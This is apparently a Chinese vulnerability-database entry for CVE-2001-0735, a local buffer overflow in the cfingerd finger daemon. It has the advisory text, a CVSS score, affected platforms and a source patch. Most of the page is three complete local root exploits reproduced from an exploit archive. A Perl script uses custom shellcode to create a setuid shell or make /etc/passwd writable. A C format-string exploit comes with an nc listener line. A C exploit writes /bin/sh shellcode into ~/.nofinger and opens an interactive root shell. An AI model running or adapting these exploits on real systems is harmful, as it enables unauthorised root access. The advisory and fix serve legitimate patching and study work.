CVE-2001-0735
CVSS7.2
发布时间 :2001-10-18 00:00:00
修订时间 :2008-09-05 16:24:48
NMCOES    

[原文]Buffer overflow in cfingerd 1.4.3 and earlier with the ALLOW_LINE_PARSING option enabled allows local users to execute arbitrary code via a long line in the .nofinger file.


[CNNVD]CFingerD 缓冲区溢出漏洞(CNNVD-200110-056)

        CVE(CAN) ID: CAN-2001-0735
        
        
        
        cfingerd 一个安全的finger守护程序。它由cfingerd开发小组维护。
        
        
        
        它被发现存在一个缓冲区溢出漏洞。由于没有检查用户提供数据的长度,如果用户提供的
        
        数据长度超过80字节,就可能使一个内部缓冲区发生溢出,攻击者可能改变程序执行流程,
        
        并执行任意代码。
        
        
        
        问题在util.c第181-182行附近:
        
        ...
        
        
        
         while((line[pos] != ' ') && (!done)) {
        
         command[newpos] = line[pos];
        
        
        
        ...
        
        这段代码没有检测缓冲区command[]是否已经到了末尾。
        
        
        
        由于cfingerd通常是以root身份启动的,因此本地用户可能利用这个漏洞获取root权限。
        
        
        
        

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:infodrom:cfingerd:1.4.1
cpe:/a:infodrom:cfingerd:1.4.2
cpe:/a:infodrom:cfingerd:1.4.3

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0735
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0735
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200110-056
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/static/6744.php
(VENDOR_ADVISORY)  XF  cfingerd-util-bo(6744)
http://www.securityfocus.com/bid/2914
(VENDOR_ADVISORY)  BID  2914
http://www.securityfocus.com/archive/1/192844
(VENDOR_ADVISORY)  BUGTRAQ  20010621 cfingerd local vulnerability (possibly root)
http://www.debian.org/security/2001/dsa-066
(VENDOR_ADVISORY)  DEBIAN  DSA-066
http://www.securityfocus.com/archive/1/01071120191900.00788@localhost.localdomain
(UNKNOWN)  BUGTRAQ  20010711 Another exploit for cfingerd <= 1.4.3-8

- 漏洞信息

CFingerD 缓冲区溢出漏洞
高危 边界条件错误
2001-10-18 00:00:00 2006-08-28 00:00:00
本地  
        CVE(CAN) ID: CAN-2001-0735
        
        
        
        cfingerd 一个安全的finger守护程序。它由cfingerd开发小组维护。
        
        
        
        它被发现存在一个缓冲区溢出漏洞。由于没有检查用户提供数据的长度,如果用户提供的
        
        数据长度超过80字节,就可能使一个内部缓冲区发生溢出,攻击者可能改变程序执行流程,
        
        并执行任意代码。
        
        
        
        问题在util.c第181-182行附近:
        
        ...
        
        
        
         while((line[pos] != ' ') && (!done)) {
        
         command[newpos] = line[pos];
        
        
        
        ...
        
        这段代码没有检测缓冲区command[]是否已经到了末尾。
        
        
        
        由于cfingerd通常是以root身份启动的,因此本地用户可能利用这个漏洞获取root权限。
        
        
        
        

- 公告与补丁

        
        
        临时解决方法:
        
        
        
        修改util.c中相应位置的代码:
        
        
        
        在line 181:
        
         while((newpos < 80) && (line[pos] != ' ') && (!done)) {
        
         ^^^^^^^^^^^^^^^^^
        
        
        
        在 line 301:
        
         printf("",displine);
        
         ^^^^^
        
        
        
        然后重新编译cfingerd.
        
        
        
        厂商补丁:
        
        
        
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商
        
        的主页以获取最新版本:
        
        
        http://www.infodrom.ffis.de/projects/cfingerd/

        

- 漏洞信息 (20962)

cfingerd 1.4.1/1.4.2/1.4.3 Utilities Buffer Overflow Vulnerability (1) (EDBID:20962)
unix local
2001-06-21 Verified
0 teleh0r
N/A [点击下载]
source: http://www.securityfocus.com/bid/2914/info

cfingerd is a secure implementation of the finger daemon. cfingerd has been contributed to by many authors, and is maintained by the cfingerd development team.

A buffer overflow in cfingerd makes it possible for a local user to gain elevated privileges. Due to insufficient validation of input, a user can execute arbitrary code through the .nofinger file.

This makes it possible for a local user to gain elevated privileges, and potentially root access. 

#!/usr/bin/perl

# | Local buffer overflow exploit for cfingerd
# | Copyright (c) 2001 by <teleh0r@digit-labs.org>
# | All rights reserved.
# |
# | Simple exploit for the vulnerability reported
# | to bugtraq by Steven Van Acker.
# | http://www.securityfocus.com/archive/1/192844
# |
# | If cfingerd does not run as root, the exploit
# | will of course fail!
# |
# | http://www.digit-labs.org/teleh0r/

use Socket; use File::Copy;
use Getopt::Std; getopts('s:p:o:', \%arg);

if (defined($arg{'s'})) { $sjell  = $arg{'s'} }
if (defined($arg{'p'})) { $port   = $arg{'p'} }
if (defined($arg{'o'})) { $offset = $arg{'o'} }

# shellcodes written by myself especially for
# this exploit.

# 34 bytes
$shellcode1 =
  "\x31\xdb".                # xor  ebx, ebx
  "\x31\xc9".                # xor  ecx, ecx
  "\xf7\xe3".                # mul  ebx
  "\x52".                    # push edx
  "\x68\x2f\x2f\x79\x30".    # push dword 0x30792f2f
  "\x68\x2f\x74\x6d\x70".    # push dword 0x706d742f
  "\x89\xe3".                # mov  ebx, esp
  "\xb0\xb6".                # mov  al, 0xb6
  "\xcd\x80".                # int  0x80
  "\x66\xb9\xed\x0d".        # mov  cx, 0xded
  "\xb0\x0f".                # mov  al, 0xf
  "\xcd\x80".                # int  0x80
  "\x40".                    # inc  eax
  "\xcd\x80";                # int  0x80

# 35 bytes
$shellcode2 =
  "\xeb\x10".                # jmp  short file
  "\x5b".                    # pop  ebx
  "\x31\xc9".                # xor  ecx, ecx
  "\xf7\xe1".                # mul  ecx
  "\x66\xb9\xa6\x01".        # mov  cx, 0x1a6
  "\xb0\x0f".                # mov  al, mov
  "\xcd\x80".                # int  0x80
  "\x40".                    # inc  eax
  "\xcd\x80".                # int  0x80
  "\xe8\xeb\xff\xff\xff".    # call code
  "/etc/passwd".             # string
  "\x00";                    # null terminate

# cfingerd does not drop privileges before the 
# vulnerable code kicks in, therefore no need 
# to use setuid(0);

if (!(defined($sjell))||$sjell !~ m/^(1|2)$/) {&usage}
$shellcode = $sjell == 1 ? $shellcode1 : $shellcode2;

$port  ||= 2003;
$user    = getlogin() || getpwuid($<);
$return  = 0xbffff46c;
$length  = 88;
$kewlnop = 'K';
$homedir = (getpwnam($user))[7];

printf("Address: %#lx\n", ($return + $offset));
&do_checkz;

if (connect_host('127.0.0.1', $port)) {
    &prepare_attack;

    send(SOCKET, "$user\015\012", 0);
    close(SOCKET);

    sleep(1); 
    &do_checkz;

    die("Sorry, exploit failed - check the values.\n");
}

sub prepare_attack {
    for ($i = 0; $i < ($length - 2 - 4); $i++) {
	$buffer .= $kewlnop;
    }
    
    #<82'nops'><jmp 0x4><retaddr><shellcode>

    $buffer .= "\xeb\x04";
    $buffer .= pack('l', ($return + $offset));
    $buffer .= $shellcode;

    if (-e("$homedir/.nofinger")) { # I am nice, huh?
	copy("$homedir/.nofinger", "$homedir/.nofinger.BAK");
    }
    
    open(FILE, ">$homedir/.nofinger") || die("Error: $!\n");
    print(FILE "\$$buffer\n");
    close(FILE);    
}
	
sub do_checkz {
    if ($sjell == '1') {
	if (-u("/tmp/y0") && (stat("/tmp/y0"))[4,5] == '0') {
	    print("Exploit attempt succeeded!\n");
	    exec("/tmp/y0");	    
	} elsif (stat("/tmp/y0") == '0') {
	    copy("/bin/sh", "/tmp/y0") || die("Error: $!\n");
	}
    } elsif ($sjell == '2') {
	if (-w("/etc/passwd")) {
	    ($perm) = (split(/\s/,`ls -la /etc/passwd`))[0];
	    print("Success: /etc/passwd $perm\n");
	    exit(0);
	}
    } 
}

sub usage {
system("clear");

# below layout style stolen from qitest1 xinetd exploit ;)
# werd!

print(qq(
cfingerd <= 1.4.3-8 local exploit by teleh0r
All rights reserved.

Usage: $0 [options]
Options:
  -s shellcode  - see below
  -p port       - 2003 default
  -o offset 

Available shellcodes:
  1\) root shell in /tmp
  2\) writable /etc/passwd

));
exit(1);
}

sub connect_host {
    ($target, $port) = @_;
    $iaddr  = inet_aton($target)                 || die("Error: $!\n");
    $paddr  = sockaddr_in($port, $iaddr)         || die("Error: $!\n");
    $proto  = getprotobyname('tcp')              || die("Error: $!\n");

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(SOCKET, $paddr)                      || die("Error: $!\n");
    return(1);
}
		

- 漏洞信息 (20963)

cfingerd 1.4.1/1.4.2/1.4.3 Utilities Buffer Overflow Vulnerability (2) (EDBID:20963)
unix local
2001-07-11 Verified
0 Megyer Laszlo
N/A [点击下载]
source: http://www.securityfocus.com/bid/2914/info
 
cfingerd is a secure implementation of the finger daemon. cfingerd has been contributed to by many authors, and is maintained by the cfingerd development team.
 
A buffer overflow in cfingerd makes it possible for a local user to gain elevated privileges. Due to insufficient validation of input, a user can execute arbitrary code through the .nofinger file.
 
This makes it possible for a local user to gain elevated privileges, and potentially root access. 

/************************************************************

http://www.infodrom.ffis.de/projects/cfingerd/ states:

  Cfingerd is a free and secure finger daemon replacement for 
  standard finger daemons such as GNU fingerd or MIT fingerd.

April 11, 2001 Megyer Laszlo < abulla@freemail.hu > wrote:

  In 3 words: REMOTE ROOT VULNERABILITY


   idcf.c - July 11 2001 - happy 3 month anniversary!

   
   cfingerd 1.4.3 identd based localish exploit ;]
   no shellcode required if you have a local account
   make a script in ~/.nofinger that you want to be
   executed as root.

   it works by diverting the fopen call to popen. of 
   course it won't help if you don't already have a 
   local account but well, its just a proof of concept 
   and I think it's cute, and the more exploits there
   are against an unpatched system, the more likely (I
   hope) it will get patched. Would be nice if it worked
   that way anyway.
   
   ./idcf|nc -l -p 113 
   on a box you have root on, and finger you@otherhost
   to use.

   this is hardcoded for four letter names, but shouldn't
   require rocket science to make work for others.
   Hint:  offset and padding : format strings are fun.

   

                   M4D PR0PZ T0 :

           Steven for showing me da bugz
        noid 4 b3in6 7h3r3 wh3n no1 3153 w4z
        grue 4 lurking,  g00bER 4 something
     and the rest of #roothat @ irc.pulltheplug.com

       4150 70 mp3.com 4 http://mp3.com/cosv

***********************************************************/

// The offsets are from a version i compiled just to
// test the vulnerability and so will most likely not
// work for you.

// get this from objdump -R cfingered|grep fopen
#define OVER 0x0805532c
// get this from objdump -R cfingerd|grep popen
// and then gdb cfingerd  and x/x 0xoffset from objdump
#define WITH 0x080491ba

#include <stdio.h>
main(int argc,char*argv[])
{
 int z0=0,ovrw=OVER;    // address to overwrite with pass 1
 int z1=0,ovrw1=OVER+2; // address to overwrite with pass 2
 int slen=strlen("evil fingered from ")+9; 
 int addr=WITH;         // what to overwrite the address with
 int offset=20;         // where the first address is on the stack
 int a1,a2;             
 FILE *f;
 f=fopen("/etc/motd","w+");
 if(!f)
 { 
  fprintf("You must be root to use this exploit.\n");
  exit(1);
 }
 a1=(addr&0x000ffff)-slen;                 // 1st number of bytes
 a2=(0x10000+(addr>>16)-a1-slen)&0x0ffff;  // 2nd number of bytes
 printf(":::A%s%s",&ovrw,&ovrw1);          // header/padding/addresses
 printf("%%%ux%%%d$hn%%%ux%%%d$hn\n"       // formatstring itself
        ,a1,offset,a2,offset+1); 
 fprintf(stderr,"Visit http://mp3.com/cosv/ today!\n");
 fprintf(stderr,"And mebe visit your account on the other machine.\n");
 fprintf(stderr,"after you finger it.\n");
 fprintf(f,"Visit http://mp3.com/cosv/ today!\n");
 fclose(f);
 
}
		

- 漏洞信息 (20964)

cfingerd 1.4.1/1.4.2/1.4.3 Utilities Buffer Overflow Vulnerability (3) (EDBID:20964)
unix local
2001-07-10 Verified
0 qitest1
N/A [点击下载]
source: http://www.securityfocus.com/bid/2914/info
  
cfingerd is a secure implementation of the finger daemon. cfingerd has been contributed to by many authors, and is maintained by the cfingerd development team.
  
A buffer overflow in cfingerd makes it possible for a local user to gain elevated privileges. Due to insufficient validation of input, a user can execute arbitrary code through the .nofinger file.
  
This makes it possible for a local user to gain elevated privileges, and potentially root access. 

/*
 * cfingerd 1.4.3 and prior Linux x86 local root exploit
 * by qitest1 10/07/2001
 *
 * This code successfully exploits the bof vulnerability found by
 * Steven Van Acker <deepstar@ulyssis.org> and recently posted to
 * bugtraq. If the ALLOW_LINE_PARSING option is set, and it is set
 * by default, the bof simply occurs when reading the ~/.nofinger
 * file. If cfingerd is called by inetd as root, a root shell will be
 * spawned. But it is quite funny that the authors of cfingerd in the
 * README almost seem to encourage people to set inetd.conf for
 * calling cfingerd as root.     
 *
 * Greets: my friends on #sikurezza@Undernet
 *	   jtripper: hi man, play_the_game with me! =)
 *	   warson and warex
 *
 * Fuck:   fender'/hcezar: I want your respect..
 *
 * have fun with this 0x69 local toy! =) 
 */

#include <stdio.h>
#include <pwd.h>
#include <sys/types.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>

#define	RETPOS		84
#define LOCALHOST	"localhost"
#define	FINGERD_PORT	79

  struct targ
    {
      int                  def;
      char                 *descr;
      u_long    	   retaddr;
    };

  struct targ target[]=
    {                   
      {0, "Red Hat 6.2 with cfingerd 1.4.0 from tar.gz", 0xbffff660},
      {1, "Red Hat 6.2 with cfingerd 1.4.1 from tar.gz", 0xbffff661},
      {2, "Red Hat 6.2 with cfingerd 1.4.2 from tar.gz", 0xbffff662},
      {3, "Red Hat 6.2 with cfingerd 1.4.3 from tar.gz", 0xbffff663},
      {69, NULL, 0}
    };

  char shellcode[] =			/* Aleph1 code */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int    sel = 0, offset = 0;

  void	play_the_game(u_long retaddr, struct passwd *user);
  int	sockami(char *host, int port);
  void	shellami(int sock);
  void  usage(char *progname);
  
int
main(int argc, char **argv)
{
  int			sock, cnt;
  uid_t                 euid;
  char			sbuf[256];
  struct passwd		*user;

  printf("\n  cfingerd 1.4.3 and prior exploit by qitest1\n\n");

  while((cnt = getopt(argc,argv,"t:o:h")) != EOF)
    {
   switch(cnt)
        {
   case 't':
     sel = atoi(optarg);
     break;
   case 'o':
     offset = atoi(optarg);
     break;
   case 'h':
     usage(argv[0]);
     break;
        }
    }

  euid = geteuid();
  user = (struct passwd *)getpwuid(euid);

  printf("+User: %s\n  against: %s\n", user->pw_name, target[sel].descr);
  target[sel].retaddr += offset;
  printf("+Using: retaddr = %p...\n  ok\n", target[sel].retaddr);

  play_the_game(target[sel].retaddr, user);

  sock = sockami(LOCALHOST, FINGERD_PORT);
  sprintf(sbuf, "%s\n", user->pw_name);
  send(sock, sbuf, strlen(sbuf), 0);

  printf("+Waiting for a shell...\n  0x69 =)\n");
  sleep(1);
  shellami(sock);  
}

void
play_the_game(u_long retaddr, struct passwd *user)
{
  char			zbuf[256], nofinger_path[256];
  int			i, n = 0; 
  FILE 			*nofinger_file;

  memset(zbuf, '\x90', sizeof(zbuf));
  for(i = RETPOS - strlen(shellcode); i < RETPOS; i++)
        zbuf[i] = shellcode[n++];
  
  zbuf[RETPOS + 0] = (u_char) (retaddr & 0x000000ff);
  zbuf[RETPOS + 1] = (u_char)((retaddr & 0x0000ff00) >> 8);
  zbuf[RETPOS + 2] = (u_char)((retaddr & 0x00ff0000) >> 16);
  zbuf[RETPOS + 3] = (u_char)((retaddr & 0xff000000) >> 24);
  zbuf[RETPOS + 4] = '\x00';

  sprintf(nofinger_path, "%s/.nofinger", user->pw_dir);
  nofinger_file = fopen(nofinger_path, "w");
  printf("+Writing ~/.nofinger...\n");
  fprintf(nofinger_file, "$%s\n", zbuf);
  printf("  done\n");
  fclose(nofinger_file);

  return;
}

int
sockami(char *host, int port)
{
struct sockaddr_in address;
struct hostent *hp;
int sock;

  sock = socket(AF_INET, SOCK_STREAM, 0);
  if(sock == -1)
        {
          perror("socket()");
          exit(-1);
        }
 
  hp = gethostbyname(host);
  if(hp == NULL)
        {
          perror("gethostbyname()");
          exit(-1);
        }

  memset(&address, 0, sizeof(address));
  memcpy((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  address.sin_family = AF_INET;
  address.sin_port = htons(port);

  if(connect(sock, (struct sockaddr *) &address, sizeof(address)) == -1)
        {
          perror("connect()");
          exit(-1);
        }

  return(sock);
}


void
shellami(int sock)
{
  int             n;
  char            recvbuf[1024], *cmd = "id; uname -a\n";
  fd_set          rset;

  send(sock, cmd, strlen(cmd), 0);

  while (1)
    {
      FD_ZERO(&rset);
      FD_SET(sock, &rset);
      FD_SET(STDIN_FILENO, &rset);
      select(sock+1, &rset, NULL, NULL, NULL);
      if(FD_ISSET(sock, &rset))
        {
          n = read(sock, recvbuf, 1024);
          if (n <= 0)
            {
              printf("Connection closed by foreign host.\n");
              exit(0);
            }
          recvbuf[n] = 0;
          printf("%s", recvbuf);
        }
      if (FD_ISSET(STDIN_FILENO, &rset))
        {
          n = read(STDIN_FILENO, recvbuf, 1024);
          if (n > 0)
            {
              recvbuf[n] = 0;
              write(sock, recvbuf, n);
            }
        }
    }
  return;
}

void
usage(char *progname)
{
  int  i = 0;
  
  printf("Usage: %s [options]\n", progname);
  printf("Options:\n"
         "  -t target\n"
         "  -o offset\n"
	 "  -h (help)\n"
         "Available targets:\n");
  while(target[i].def != 69)
        { 
          printf("  %d) %s\n", target[i].def, target[i].descr);
          i++;
        } 

  exit(1);
}
		

- 漏洞信息

13960
cfingerd ALLOW_LINE_PARSING Option Local Overflow
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2001-06-21 Unknow
2001-06-21 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

cfingerd Utilities Buffer Overflow Vulnerability
Boundary Condition Error 2914
No Yes
2001-06-21 12:00:00 2009-07-11 06:56:00
This vulnerability was announced to Bugtraq by Steven Van Acker <deepstar@ulyssis.org> on June 21, 2001.

- 受影响的程序版本

Martin Schulze Cfingerd 1.4.3
- FreeBSD FreeBSD 4.3
- FreeBSD FreeBSD 3.5.1
- Mandriva Linux Mandrake 8.0
- Mandriva Linux Mandrake 7.2
- Mandriva Linux Mandrake 7.1
- NetBSD NetBSD 1.5.1
- OpenBSD OpenBSD 2.9
- Red Hat Linux 6.2
- RedHat Linux 7.1
- RedHat Linux 7.0
- S.u.S.E. Linux 7.2
- S.u.S.E. Linux 7.1
- S.u.S.E. Linux 7.0
- Sun Solaris 8_sparc
- Sun Solaris 7.0
- Sun Solaris 2.6
Martin Schulze Cfingerd 1.4.2
Martin Schulze Cfingerd 1.4.1
+ Debian Linux 2.2

- 漏洞讨论

cfingerd is a secure implementation of the finger daemon. cfingerd has been contributed to by many authors, and is maintained by the cfingerd development team.

A buffer overflow in cfingerd makes it possible for a local user to gain elevated privileges. Due to insufficient validation of input, a user can execute arbitrary code through the .nofinger file.

This makes it possible for a local user to gain elevated privileges, and potentially root access.

- 漏洞利用

The following exploits are available:

- 解决方案

Steven Van Acker <deepstar@ulyssis.org> supplied this fix:

on line 181:
while((newpos < 80) && (line[pos] != ' ') && (!done)) {
^^^^^^^^^^^^^^^^^
on line 301:
printf("%s",displine);
^^^^^

Then recompile.

Debian has released upgraded packages.


Martin Schulze Cfingerd 1.4.1

- 相关参考

     

     

    关于SCAP中文社区

    SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

    版权声明

    CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站